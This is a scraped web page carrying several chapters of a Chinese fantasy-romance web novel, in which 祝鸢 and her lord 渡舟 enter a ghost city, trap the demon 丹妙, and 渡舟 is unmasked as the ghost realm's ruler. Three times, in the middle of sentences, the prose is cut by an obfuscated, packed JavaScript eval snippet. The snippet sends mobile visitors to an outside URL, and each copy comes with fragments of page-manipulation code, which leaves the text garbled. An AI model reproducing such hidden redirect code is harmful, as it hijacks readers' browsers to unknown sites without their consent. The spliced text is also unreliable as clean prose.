正当鬼差来抓渡舟时,突然,血器场正中央那盏最大的红色烛火莫名其妙地跳动了一下。 众人抬眼望去,正纳闷,场内摇摇晃晃的烛火一瞬间尽数熄灭。 黑暗中,一双手轻轻搭在祝鸢腰间,脚下一轻,那熟悉的声音几乎是贴着她传来:“不要怕,跟我抓鬼。” “怎么回事儿!灯呢!!” 虽然看不见,也大概能想象场内是何等混乱。 约莫片刻,灯火重燃,公鸡骂骂咧咧地叫道:“喔!奇了怪了!这里头又没风,灯怎么突然灭了!” 他没看出来什么因果,又重复说:“喔喔!赶紧弄下去,放个新的上来!” 却没人动。 场上鸦雀无声,所有人的目光都停留在公鸡身后。 他摸着鸡脑袋不明所以地转过身,发出惊天动地的一声打鸣,由于半途强行憋了回去,听上去有点儿像打嗝。 渡舟那副“病秧子”盘腿坐在台上,模样跟刚才没什么区别。 不过,他周围盘踞着无数虚化的黑影,各个身高八尺青面獠牙。公鸡这一叫,其中一团黑影倏地蹿起几丈有余,近旁的一个小鬼闪躲不及,连声响都没发出来就被那黑影穿透躯体。 两只鬼很快合二为一,那黑影涨大了近乎一倍,餍足地用红舌头舔了舔尖牙,继续蜷缩到渡舟身边去了。 所有人都被眼前这一幕骇住了。 “梦、梦魔!”公鸡叫道。 底下的鬼七嘴八舌小声议论,祝鸢才现刚才自己是被渡舟带到台上来了,她站在渡舟身边,听出几分门道。 原来梦魔就是专靠人的梦供养起来的邪物,但这种邪物却极难得,只因所需之梦必须是极为可怖的噩梦,一百个人里面都不一定能供养出一个梦魔。 梦魔依靠宿主而生,所以能生出梦魔的人全都历经过世间极惨之事,夜夜噩梦,形容憔悴,面如枯槁。但梦魔反过来却能在极端情况下保护宿主,因为宿主一旦亡故,梦魔也会随之灰飞烟灭。 众鬼不约而同后退两步,公鸡镇定下来,叫道:“来人!把锁鬼链拿上来!” 头先的老鼠精排成一队抬着锁链上场,训练有素地将那黑漆漆的寒铁链缠绕在渡舟脚上。 渡舟微微睁开眼睛,梦魔们全都化作一缕黑烟缠绕进他的身体。他摇摇晃晃几下,祝鸢下意识扶住渡舟的肩膀,心中一跳,主君怎么会养出这么多只梦魔…… 有鬼叫道:“一个梦魔已经是修炼的无价之宝,这人竟然有七八只!” “有七八只梦魔缠身,竟然还没死??” “你们看他身边那人!听说梦魔修炼到一定程度,宿主往往生不如死,必须要有一个活下去的锚点支撑,可以是人,也可以是物。梦魔对宿主的锚点并无攻击性,甚至有的宿主养出来的梦魔,还会像保护宿主那样保护锚点。” “那小少年就是?” “看着像……” 祝鸢从没见过渡舟虚弱成这副模样,一方面她知道渡舟现在是假皮囊,一方面又忍不住被梦魔这种东西扰得心里七上八下。 主君他……真的应付得了这满城妖魔鬼怪吗? 祝鸢有点后悔刚才要让渡舟答应她救人了,她悄悄在渡舟掌心写字:“还好吗?” 渡舟的手微不可查地蜷缩了一下,这时公鸡敲锣打鼓道:“今个就到这儿!都散了散了!” 公鸡万万没想到,这毫不起眼的病秧子凡人竟然是天生至阴至邪之体,眼珠子一转不肯再卖。 有鬼啐道:“老鸡公!遇到好货就舍不得卖了?” 公鸡斜他一眼,喔喔叫道:“呦呵!你消受得起?” 众鬼你看我我看你,纷纷摇头。这样强大的梦魔,买回去万一被吃掉,不划算,太不划算。 “嘿!我看那老鸡公,八成是要把这人孝敬给河那边的妖主大人。” “那还用问吗!咱们鬼界,能一顿消受七八只梦魔的,也就只有咱们那位神通广大的大人了。” 渡舟听到这里似乎扯着唇角笑了一下,祝鸢却担心得不得了。 这些鬼口中的妖主应该就是那位无所不能的鬼界之主,掌管鬼界阴阳昏晓,天黑天亮全凭他一人心情。 完了完了,若是真将我们送去那位鬼界之主面前,岂不是死定了? 鬼界今日血器场匆匆歇业,一个至阴至邪的凡人之躯培育出数只梦魔的事很快传遍了无相城。 公鸡命鬼差将唐回等人押回后院,独留下渡舟跟祝鸢,招呼左右道:“把他俩都给我捆上!跟我走!” 渡舟那张脸苍白得像纸,抬头勾起唇角邪气地笑了笑:“她就不必了吧,你这锁鬼链对人又没用处。再说要是弄伤了她,我不保证梦魔会不会又出来。” 公鸡被这一笑弄得心里发毛,但这病秧子也并非胡言乱语,至阴至邪之体都是比鬼还要恐怖的疯子,他又将祝鸢打量几眼,狐疑道:“他是你什么人?” 渡舟看向祝鸢,收起嬉笑,轻声道:“倾慕之人。” 渡舟的眼中仿佛有千言万语,饶是祝鸢年幼无知,也被那滚烫而沉甸甸的目光看得心头狠狠一震。 主君演戏编瞎话也不必如此认真吧...... 公鸡瞪大眼睛嘎地叫了一嗓子,妥协道:“这个先不管,把那病秧子捆好了!” 有小鬼边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422202|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干活边问道:“老板,咱们这是要去哪儿?” 公鸡打量他道:“新来的?跟老板我去见见世面。” 渡舟摊开手脚任由那些老鼠精捆,得寸进尺道:“我身上养着梦魔,没力气,走不动,找顶轿子来。” 公鸡骂骂咧咧,在尝试数次都没能把渡舟从地上弄起来之后,还真找来两顶简易轿子。 公鸡坐在最前面领路,祝鸢跟渡舟则跟在后面。祝鸢沾渡舟的光坐上鬼界的轿子时,费了好大劲才忍住没问他们到底要被送到哪儿去。 几个小妖很是尽职尽责地驮着轿子跑得飞快,但轿身却出人意料得很稳。等出了须尽欢,祝鸢敏锐地发现这条路并不是他们来时的路。 路上一个人或是一只鬼都没有,前方蒙着厚重的大雾,就像天地万物都被一块湿漉漉的鸽子灰帕子压住了。 天光渐暗,这顶孤零零的轿子一头扎进浓雾里,再回头看,身后又很快被翻涌的雾气吞没。 原来根本没有路,雾中不辨东西,很快祝鸢就连轿子跟领路的公鸡都看不清。只有铁链偶尔发出清脆的一声碰撞,让祝鸢不至于觉得自己是在做梦。 她心中渐渐浮起不安,偏生这时候地面突然小幅度地抖了一下。这还没完,抖动很有节奏的一下接一下,就好像他们是被放在一个巨大的簸箕里,有人正拿着这个簸箕上下晃动。 “嘘!都别出声!”前方浓雾里传来公鸡久违的声音。 似乎有一列马队踢踢踏踏朝他们走过来,但又不像寻常的马,沉重而迟缓的脚步声越逼越近,祝鸢下意识地向身侧看了看,连渡舟都隐在浓雾里不见踪影。 祝鸢攥紧拳头,手心里冒出来一层薄汗。 突然,一只足有巴掌那么大的眼睛水灵灵地从浓雾里冒出来,直勾勾地望着祝鸢。 再往两边看,这东西竟然就只有这么一只眼睛! 救命! 祝鸢后知后觉地反应过来,刚才地面的抖动就是因为这东西在走路。 她心里刚喊完救命,一只大手隔着衣袖包住她冷汗涔涔的掌心,安抚性地拍了两下。虽然隔着雾气看不见脸,渡舟的声音却宛如一根定海神针落在她耳朵里:“别怕,这是巨菇妖,不会伤人。” 祝鸢咽了咽口水,攥住渡舟的衣角不放手。 而那只大得不得了的妖怪看了他们几眼,便直起身体继续向前走了。这雾气中不知道藏了多少大大小小的妖魔鬼怪,不过在这之后,祝鸢只是听见窸窸窣窣的声音,却没有一个妖怪再靠近。 不知走了多久,雾气渐渐稀薄,一个光怪陆离的世界宛如一副巨画徐徐展露在他们面前。 眼前是一个大到漫无边际的山谷,两岸断崖巨峰如刃,一条几乎毫无波澜的河水缓缓流过谷底。河岸开满了团团簇簇黑红两色的花朵,宛如浓稠的黑血流淌延申到尽头。 这里的所有景象都十分巨大且颜色诡异,无论什么东西似乎都沾点儿极深的血色,像赤红的火焰,像流动的黑金,像一只蛰伏黑暗时刻会张开血盆大口的巨兽。 至于其中幽灵遍布、鬼魅横生,反而不足为奇了。 19. 山谷巨龙 “咱们到了。”渡舟小声道。 这声音几乎是贴着她后背发出来的,祝鸢一转头,惊悚地发现她竟然是半挂在主君怀里。 刚才雾大看不清楚,原来渡舟一直就在她身边不到一掌之余。 祝鸢讨好地笑笑,小心翼翼地挪开一点儿距离。 公鸡清了清嗓子,命令小妖们放下轿子,走到渡舟面前凶狠地说道:“接下来的路,你走也得走,不走就把腿打断了拖着你走。” “好说。”渡舟很给面子地自己走下来。 公鸡看着眼前这个手无缚鸡之力的凡人,终于生出了一点儿疑窦,问道:“你不害怕?” 渡舟森然地笑了笑:“能养出梦魔的人,世上什么没见过,我还有什么好怕的。” 公鸡莫名后背发凉,指挥众人押着渡舟两人往前走。头先那个小鬼东张西望,好奇地问道:“老板,这是什么地方?” 公鸡回答:“蠢,这是忘川谷,无相渊之入口。看到前面那座大山没有?山下镇压的全都是上千年的厉鬼凶煞。” 小鬼接着问:“这就是忘川?我听说从忘川游下去就能投胎转世。” 公鸡嘿嘿奸笑道:“你试试。不过,你要是没投胎转世的命,那就得沉入忘川当肥料。” 祝鸢抬眼望去,只见正对着他们那道绿得发青发黑的山峰如同被利剑劈开,既高且险。横亘在他们与山峰之间的大河宽约几十丈,其水颜色幽深,其上有一吊桥。雾气太重,那吊桥就好像是悬在水面的一条白色细线。 公鸡领着手下,将他们押送上那座桥。 等上了桥,祝鸢才发现这桥上竟然熙熙攘攘,来往妖魔目不暇接。不过没有一个往他们这边看,全都目不斜视,一句话不说地走自己的路,整个桥面呈现出一种很是诡异的死寂。 这些“人”中,有眼球突出、舌头掉在地上的吊死鬼,也有美艳动人风情万种的女妖,还有无数说不上来样子的、不知道什么品种的精怪...... 走了十余步,对面行来一众婀娜多姿的女鬼,这些女鬼跟他们擦肩而过之际,末尾的一个有意无意地勾住了渡舟的胳膊,眼角飞出来一个能让人浑身起鸡皮疙瘩的媚笑。 渡舟不耐烦地挥袖道:“滚。” 那女鬼被推入水中,连水花也没溅起来便不见了。 祝鸢好奇地向下张望,想看看刚才公鸡说的当肥料是什么意思。谁知水面突然伸出来一双白森森的爪子,紧随其后的便是女鬼那张惨白凶煞的脸。 渡舟一把揽住祝鸢的肩膀往怀里带了带,似乎什么也没干,只听一声凄厉的尖叫,水面咕噜咕噜浮起一串气泡,女鬼就这么消失了。 这一声尖叫可谓掀起轩然大波,原本按部就班的队伍就像是突然断掉了,桥上所有鬼不约而同地望过来。 公鸡回过头,恨得牙痒痒。 渡舟举起手上的铁链,无辜道:“看我干嘛,你这锁鬼链不就是专杀鬼的?” 公鸡啐道:“真邪门了!一个女鬼看上你个病秧子什么了?” “老、老板......”小鬼惊恐道,“别说了,他们都过来了!” 不知道是被发现了至阴至邪之体,还是渡舟刚才“杀”了一只女鬼引发众怒。 总之,无数幽灵、鬼魂、精怪,全都一窝蜂地朝他们扑上来,吊桥发出不堪重负的吱呀声。 “老板怎么办!” 说不害怕是假的,祝鸢就算平时胆子再大,也才十六七岁,哪里见过如此场面。 眼前黑压压一片,祝鸢扯着渡舟往后退了两步,咽了咽口水,心道:“主、主君,不行咱们就跑吧......” 渡舟却丝毫不乱,稳稳当当地牵住她的手。 公鸡也慌了神,横下心道:“事到如今,咱们也只能把这小子撂下自己跑了!” 正要跑,一阵地动山摇—— 只见远处山谷那面黑色峭壁上,一条赤红色巨龙盘旋着在山峰上游走。雾气升腾弥漫,巨龙扬起头颅发出一声如雷贯耳的吼叫,大河也跟着泛起阵阵细纹涟漪。 一霎那间,所有妖邪厉鬼都停下脚步。片刻后,吊桥又恢复最初的平静。 祝鸢惊讶不已,她只是在话本子里见过龙图腾,想不到鬼界竟然有真龙。 公鸡擦了擦冒汗的鸡冠,自言自语道:“喔喔,还好烛龙大人现身,不然还真不知道怎么办......” “老板,这就是咱们那位妖主大人的爱宠吗?” 渡舟就像是听到了什么好笑的事情,突然笑出了声。公鸡不满道:“你笑什么?还不都是因为你!” 渡舟摇头道:“没什么,我就是想笑。” 公鸡哼了一声,领着他们继续往前走。 等好容易走完这吊桥来到山脚下,那条巨龙已经不见了。 下了吊桥之后那小鬼一直喋喋不休问东问西,公鸡得意地卖弄道:“妖主大人也是我等能见到的?咱们这次去,是要把这小子送到河对岸的鬼城,那里一定能卖个好价钱。” “老板,烛龙大人现身,那妖主大人一定也在鬼城吧?” “喔,应该是吧,妖主大人消失了五百多年,也就是最近才出现。”公鸡又想起什么,回头叮嘱道,“你们几个都给我小心着点儿!万一真撞见了妖主大人,依你们这道行,还不得被打牙祭!” 小鬼们缩了缩脖子,没走几步路又忍不住嘟囔:“咱们是鬼,凭什么一只妖来管......” 公鸡面如菜色,吓得嘎了一声,压低声音道:“你们以为无相城是谁建的!都给我住嘴!” 穿过一个黑漆漆的山洞,约莫半炷香后,他们来到一处看上去十分荒凉的地方,勉强算是个城池。 说荒凉,是因为这里压根不像无相城那样繁华,几乎没什么人,城门大开,没有守卫。从他们的位置刚好能一览无余,城中风声萧瑟,连个鬼影都没有。 他们并没有进城,而是在原地等了片刻。这时,来了个模样很讨喜的年轻人。 年轻人跟公鸡不知道说了些什么,只见公鸡喜笑颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427264|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开地招呼着手下走了。年轻人转向他们,很有礼貌地说道:“跟我走吧。” 甫一踏进那道城门,祝鸢便感觉到无数交杂缠绕的强大鬼气扑面而来。尖叫和笑声混杂在头顶上空,时不时便有一团黑影夹杂着汹涌的戾气呼啸而过,哪里是连鬼影都没有,分明全是鬼! 这城古怪,在门外什么也看不见,等走进来才发现掉进了鬼老窝。 渡舟神情很不好看,那年轻人回头道:“怎么不走了?” 渡舟皱着眉,轻轻摇了摇头,自言自语道:“太脏了。” “什么?” 渡舟突然弯了弯腰将祝鸢打横抱起,她长这么大还没被人抱过,险些原地弹起来,渡舟已经自顾自地迈开两条长腿往外走了。 年轻人目不斜视,没有说话。 祝鸢实实在在地愣了一会儿,正想说什么,渡舟却道:“等会儿放你下来。” 祝鸢突然很不合时宜地想到那日说的“谁给她买烤饼,谁就是她亲爹”这样的胡话。 总不能……主君真要当我亲爹吧? 渡舟的怀里实在太舒服,加上祝鸢这一路太累,总之等她迷迷糊糊醒过来,已经置身于一处山洞中。 那带路的年轻人已经不见了,只剩下她跟渡舟两个人。 “醒了?”渡舟坐在一旁低下头看她。 祝鸢看看渡舟,又望望山洞顶,不知道为什么,她心里突然浮上来一股莫名其妙的熟悉感。 她缓缓坐起来,才发现身上盖着渡舟的外袍,忙受宠若惊地把衣服还给对方。这里没有第三个人,祝鸢终于有时间问话,手势打得飞快:“主君,我想明白了。你说的抓鬼,是不是要抓魇鬼丹妙?” 渡舟接了外袍也没穿,放在一边笑了笑:“嗯。” 祝鸢得意地眨眨眼睛,又比划道:“我猜是因为魇鬼最需要梦魔疗伤,所以你才放出梦魔,想引他上钩,对吗?可是咱们为什么不留在无相城呢,这里看起来很危险。” 渡舟不知从哪儿又变出来那根笛子,在手指间转着玩儿:“丹妙十分狡猾,他是不会去须尽欢那种人多眼杂的地方的。这里虽然危险,但是对于丹妙那种老泥鳅来说,还没有鬼能把他一口吞了。” 祝鸢面露担忧之色,渡舟问道:“怎么了?” “可是这里有只大妖,还有那条巨龙,我怕。” “怕那条龙?不用怕,它不随便咬人。” 祝鸢摇摇头,指了指渡舟:“怕主君受伤。主君要是受伤,我会难过。” 渡舟的表情一瞬间有点复杂,不知是喜是苦,他抬手轻轻碰了碰祝鸢的长发,就只是碰了碰,便立刻收回手,温声宽慰道:“别怕,我不会受伤的,也不会让你受伤,更不会......” 祝鸢偏了偏脑袋,什么? 渡舟微笑道:“没什么。等会儿无论发生什么事,都要跟在我身边,记住了吗?” 祝鸢点点头:“记住了。” 就像是提前安排好的一样,渡舟刚说完,洞中便来了人。 20. 鬼界之主 一个打扮得花红柳绿,把一年四季都穿在身上的男人被一群几乎什么都没穿的女鬼簇拥着飘上来。 他裹着厚厚的披风,腰间挂着一根像是人骨头做的笛子,很是粗糙。除此之外,浑身上下只露出一张磕磕巴巴的丑脸。 更夸张的是,脑袋上竟然插着足足一个手臂那么长的翎羽。伴随着这一团五颜六色靠近的,还有浓重的脂粉香气和隐隐约约的尸臭。 “你就是那个能养出梦魔的至阴至邪之体?”男人傲慢道。 渡舟略微抬了抬眼皮,没回答。 “妖主大人问你话呢!”女鬼骂道。 妖、妖主? 祝鸢难以置信地看着眼前这实在是有点儿猥琐的男人,万万没想到这就是传说中的鬼界之主。虽然长得够凶狠,气派够嚣张,祝鸢总觉得差了点儿什么。再说他那根粗制滥造的笛子,还没主君的好看呢。 渡舟压根动都没动,不耐烦地回了句:“起开。” 妖主怒气冲冲,双臂一挥,刚才说话的女鬼被他当场掐死。他竟然就这么将对方囫囵塞进口中吃了个干净,砸吧砸吧嘴,令人恶寒道:“还没人敢这么跟本妖主说话!” “哦?那马上就有第二个了。” “什么意思?” “哈哈哈哈!报应!真是报应!!!” 伴随着这再熟悉不过的尖笑声,一团黑影呼啸着冲进山洞,他贪婪地看了渡舟一眼,自言自语道:“七八个梦魔!老子赚大发了!” 来了。 妖主看着丹妙这位不速之客,骂骂咧咧道:“你又是何人?敢在老子的地盘撒野!” “我是你祖宗!” “大胆!来人!将这几个人都给本尊拿下!” 无数鬼将一拥而入,魇鬼笑得十分猖獗,祝鸢甚至怀疑县令大人的下巴都要被魇鬼笑脱臼了。 他抬起头,张开双臂高呼:“渡舟!你在人间过得好啊,瞧瞧!老巢被人占了吧!报应!!” 妖主急赤白脸地喝道:“还等什么!都给本尊上!!” “就你个点心废物!也好意思占鬼界之主的名头?” 等等,丹妙这话是什么意思...... 祝鸢不解地看向渡舟,余光却瞥见刚才带他们进来的那个年轻人悄悄从洞口溜进来。 丹妙跟众鬼将已经打得热火朝天,那位妖主很是不爽地坐在一旁跷着二郎腿,女鬼们跟没有骨头似的贴在他身上。 不过丹妙看上去并不是真的想跟这些鬼将打,再说他确实像活泥鳅一样捉不住,他的目标自始至终都在那个能养出梦魔的凡人身上。 丹妙兴奋地舔了舔嘴角:“梦魔,是我的啦!” 妖主腾得一下站起来:“你敢!那是本尊今夜要吃的!” 丹妙回头破口大骂:“妈的,你他妈装上瘾了!告诉你,就算渡舟亲自站到我面前,这梦魔我也势在必得!” “拦住他!快拦住他!!!” 丹妙一跃而起,跟一股旋风似的朝着猎物冲过去,眼看近在咫尺,渡舟缓缓抬起眼睛,阴恻恻地咧嘴笑道:“这可是你说的。” 丹妙一时间没反应过来。 他目光下移,看到渡舟手上那根笛子时脸色大变,扭头便跑。 轰! 一声巨响几乎要震碎心脏,洞口突然塌了。 此间漆黑一片,只有丹妙的吼叫声跟无头苍蝇一样在洞中乱窜:“操!天杀的渡舟!!” 与此同时还有妖主的怒吼声,女鬼的尖叫声,简直能把山洞都整个掀翻。 “吵死了!” 这一声低喝下,祝鸢根本不知道发生了什么。总之一阵嘎巴嘎巴的骨头断裂声过后,突然间就鸦雀无声。 少顷,烛火亮起。 祝鸢惊恐地发现眼前竟不剩一个全乎人——除了占用了县令身体的丹妙。 刚才几十上百的鬼将全都不见了,取而代之的是地面上一层厚厚的白色齑粉。 祝鸢第一反应是去找渡舟,等她切切实实地摸到渡舟的胳膊,借着微光看到渡舟那张病秧子脸,眼泪突然就止不住地往下掉。 渡舟眼中划过一丝慌张,轻声问道:“怎么了?怎么哭了?” 祝鸢哭得止不住。 主君,你吓死我了。 渡舟耐心地给她擦眼泪,低声道:“是我太凶了?我下次注意,不用这种法术。” 祝鸢摇摇头,拍了拍自己心口,比划道:“我还以为,你死了......” 渡舟眸光微滞,低下头照常给她擦眼泪:“我的错。” “有完没完!”丹妙被钉在墙上,很不体面地骂道,“呸!她才几岁?渡舟你要不要脸!” 刚才祝鸢看见的年轻人举着烛火走近,顺手把烛台放在了丹妙脑袋上,恭敬道:“大人。” 带他们进城的竟然是主君的人? 祝鸢吸了吸鼻子,眼睛睁得老大,暗道:“牵机营的手到底伸得多长啊......” “办得不错。”渡舟波澜不惊地转过头,看向丹妙,冷声道,“想死你就多说两句。” 丹妙瞬间变奄菜,又心有不甘,抬了抬下巴:“那冒牌货你不杀,光盯着我干什么?” 只见丹妙对面石壁上,也十分对称地钉着一个人。 不,是三个。 谁能知道堂堂无相妖主,那张披风底下藏着三只妖呢? 这三只妖怪整整齐齐地排成一排,只有第一个黄皮子妖修炼出了人形,其余两只竟然还都是本相,瑟瑟发抖地求饶道:“上仙饶命!上仙饶命呐!我们就是——” “就是混口饭吃!这地方——” “这地方活不下去!” 三只妖轮流痛哭流涕,丹妙大笑道:“哈哈哈哈!上仙?笑死个人了!喂,渡舟你真出息了,都有人叫你上仙了。哼!一群傻狗!睁大你们的狗眼看看渡舟腰间是什么法器!学人都学不来,装神弄鬼舞到正主面前,且等死吧!” 那黄皮子妖最先反应过来,盯着渡舟那根笛子叫道:“……鬼、鬼笛昆仲!他是——” 渡舟像是终于忍不了了,拂袖而过,那三个妖连同话多的丹妙都被封住喋喋不休的嘴巴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432821|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他跟来时一样抱起目瞪口呆的祝鸢,对那年轻人道:“丹妙带走,剩下的自己看着办。” “是,大人。” 渡舟就这么一路抱着祝鸢走出山洞,鬼城之景纵收眼底。放眼望去几乎看不到一丁点儿花草树木,遮天蔽日的黑雾之下,全都是断壁残垣,全都是游荡的厉鬼精怪,妖气四溢,鬼气森森。 跟这里一比,无相城反倒是小巫见大巫了。 不约而同的,这些东西离他们都相距甚远。 祝鸢自打刚才开始脑子里就一团乱,她努力理了理......发现更乱了。 至于渡舟,则一言不发走得很快。不多时,便来到了刚才那座桥前面。 祝鸢揉揉眼睛,发现桥面上空空荡荡,什么东西都没有。 不光桥面,整个山谷里都什么也没有,只有一丝阴风卷着黑红色的花瓣在空中飞舞,如同大火焚烧过后的残渣灰烬。 渡舟放下祝鸢,牵着她走上吊桥,说道:“这叫断魂桥,那条河名为忘川,这些花是鬼界曼陀罗。那座山虽然的确能通向无相渊入口,但无相渊已经几百年没有开启过。至于你看到的那条巨龙,其实是条赤红色的蟒蛇,嘴挑,不吃人。” 主君这是在跟我解释? 走到桥中央,祝鸢才发现不是没有人,而是所有幽灵鬼魂、精怪妖魔,全都战战兢兢地匍匐在忘川水中或是河道两岸。 渡舟啧了一声,压着眉心的怒意挥袖道:“都起来,别挡路。” 一声令下,这些非人之物全都很麻溜地滚开五步远,齐声叩首道:“妖主大人慢走!” 祝鸢:“......” 她现在逃,还来得及吗? 祝鸢屏住呼吸,有点庆幸自己不会说话,脑海里则闪回过无数个声音叫道—— 主君是鬼界之主?? 等等,主君是妖?? 主君难道不是修为高深的修士吗? 不对,妖怪为什么要去人间做官啊! 还是声名狼藉的奸臣?还每天都要替皇帝陛下批复奏折?? 祝鸢感觉她也跟那些曼陀罗花一样在半空中飘,正当飘得心里七上八下之际,却发现渡舟在河水中的倒影有点奇怪。 她歪着头仔细辨认,水里的人是渡舟,但又不像。那少年至多十六,皮肤很白,穿的是粗布麻衣,眉宇间萦绕着一股淡淡的戾气。 少年就这么跷着腿坐在翠竹上,眼神冷漠孤傲。 祝鸢呼吸一滞,不知怎的手心有点儿冒冷汗。 一朵花瓣突然落入水中,搅碎了那张青涩年少的脸,渡舟淡淡道:“幻像惑人。” 祝鸢不信那是幻像,顾不得什么妖主什么鬼王,打着手势问:“主君,那是你吗?” 渡舟沉默片刻,说道:“忘川之水,能看清人的前世轮回。” 那是跟她年纪一般大的主君,这种感觉很奇妙,就好像隔着忘川跟前世的人四目相对,种种欲说还休全在那泛起涟漪的一瞥间消融。 奇怪的是,他们并肩而立,水中却只有渡舟一人的倒影。 21. 丹青坊 待回到无相城,须尽欢还是一如既往的热闹,虽然血器场已经闭幕,歌舞声却不停。 那管事儿的公鸡喝得醉醺醺,余光看见祝鸢,鸡冠跟着晃了晃,大着舌头口齿不清道:“你……你不是那谁……你怎么逃出来的?” 公鸡的目光又从祝鸢移到渡舟身上,酒醒了些,但还没完全醒,困惑地揉了揉眼睛。 “怪事,妖主大人怎么……嗝!怎么没把你们吃了……” 渡舟没说话,笛子在掌心随意敲了敲。 那公鸡愈发狐疑,又从渡舟看到他手中的笛子,越看眼睛睁得越大,简直要目呲欲裂之际,人声鼎沸中传来一声高呼—— “都让开!让开!城主到!!” 犹如潮落潮起,人声安静一瞬又顷刻间沸满盈天。只见群鬼簇拥之中缓步行来一人,中等身高,面容俊雅,杏眼薄唇,细看颇有几分女子阴柔之美。 他穿着件绛蓝外袍,上锈金线云纹,衣着打扮虽不过分华丽张扬,举手投足却有十分的贵气,和这四周之景格格不入。 那人一进这里便将目光锁定在渡舟身上,等他走近些,眉眼突然灿然一笑,温声道:“师父,好久不见了。” 话音落地,鸦雀无声。 无相城城主叫主君……师父? 祝鸢自从知道了渡舟就是那位鬼界之主,此时已经能相当平静地接受这两个人的师徒关系。 渡舟微微蹙眉,似乎对这个称呼并不满意。 “城主的师父?那是......” “是无相妖主大人!是妖主大人!”众鬼兴奋叫道。 “我的妈呀这是真的吗?快掐我两把!” “你他妈是鬼!掐你会痛吗?!” “听说妖主大人有一骨笛,名叫昆仲,你们看是不是那根?” “......颜色青白,如玉似骨,是昆仲骨笛没错!” 祝鸢眼皮狠狠一跳,想起那日在乱葬岗,竟然还让渡舟用这根笛子刨坟挖尸…… 这些鬼无不充满崇拜地望着渡舟,很快须尽欢门口便水泄不通,不过大多数鬼都把眼前这位妖主跟河对岸鬼城之中的混为一谈,兴奋地脸冒绿光。 渡舟置之不理,并不多做解释,望着来人淡淡道:“你这城主,当得好生自在。” 男子当着这么多人被驳了面子也丝毫不生气,笑容未减,柔声道:“师父,你也知道这地方鱼龙混杂,难管。” 渡舟眯起眼睛道:“哦?难管?” 对面的男子不露声色瞥了一眼祝鸢,重新抬起头道:“师父,今日是我没有管教好城中人,竟将师父......” 他说到这里停顿片刻,微笑道:“……和您的朋友都带来了。” 渡舟不给面子,语气阴沉道:“折杞,你知道我是来做什么。” 折杞点头道:“自然。” 折杞微一抬首,众鬼火速让开一条通道:“诸位大人慢走!” 鬼声震天,三人一同往须尽欢阁楼去了。 渡舟对这里确实熟悉,无需折杞带路,便径直推开一间房门,祝鸢惊讶地发现这里和牵机营房间陈设简直一模一样。 折杞道:“方才人多不便过问,这位是......” 渡舟道:“此时也不便问。” 折杞果然不再问了。 渡舟抬手在祝鸢眼前一抹,鬼气散去,露出祝鸢原本那张勉强算是清秀的脸来。 折杞道:“师父,您来找我,何必这么麻烦?” 渡舟拂袖坐下,挖苦道:“不这么麻烦,我怎知须尽欢做起了这等脏事。” 无相城是师父建的,须尽欢的匾是师父题的,他也早知无相城都在做什么买卖。 大家都是妖魔鬼怪,有的爱吃人,有的爱杀人,难道还指望无相城里守什么规矩吗? 折杞知渡舟脾性,心中纳闷师父平日也不见得管他这地界,怎么今日突然菩萨上身? 但这话折杞是万万不敢说出口的,只好打着哈哈道:“师父教训的是,今后我便让他们撤了血器场。” 渡舟不置可否,折杞在他不远处坐下:“师父今日去鬼城,是抓魇鬼丹妙?” 正谈话间,外面突然传来一阵骚动。 祝鸢抬头望去,只见两个小鬼押着一个女鬼跟一个长胡子道士走上前来:“城主大人,我们抓住两个鬼鬼祟祟的毛贼!” 这话说得好笑,鬼也说鬼鬼祟祟。 祝鸢暗自捧腹,却见被押着的女鬼身量高挑,浓妆艳抹甚是美貌。 祝鸢喜出外望,对方认出她来,连声叫道:“小哑巴?你怎么会在这儿!” “衙门的人???”另一位长胡子道士抬头,却也是半个熟人,正是姜宅一案请来捉妖的张仙师。 原来上官跟祝鸢分开后,本来一路跟着马车,却在须尽欢门口遇见了张仙师。 二人算半个同行,从前就相识。本来话不投机半句多,上官却想看看张仙师又在憋什么坏,一路尾随,却发现对方似乎跟九洲城凤尾花钿一事有关。 但好巧不巧,二人刚到人皮坊,便被折杞手下双双捉住。 “哦,原来都是熟人。”折杞笑道,“下去吧。” 那两名小鬼松开他们,恭敬退下了。 上官一得自由,便抓住祝鸢将她强行转了个圈儿,左看右看,问道:“没有受伤吧?你这丫头——” 话未说完,突然感到一道刺眼的目光正落在自己身上,上官浑身不自在,旁若无人继续问道:“这人是谁?你怎么跟他混在一起?” 祝鸢示意他别再说,上官环顾一周,警惕道:“那些鬼头叫他城主,八成不是好人,离他远点。” “哦,是不是也要离我远点了?” “那自然是——” 上官扭过头,惊悚地发现渡舟就端坐在堂上。渡舟恢复真容,上官腿一软,惊道:“主……主君?!” 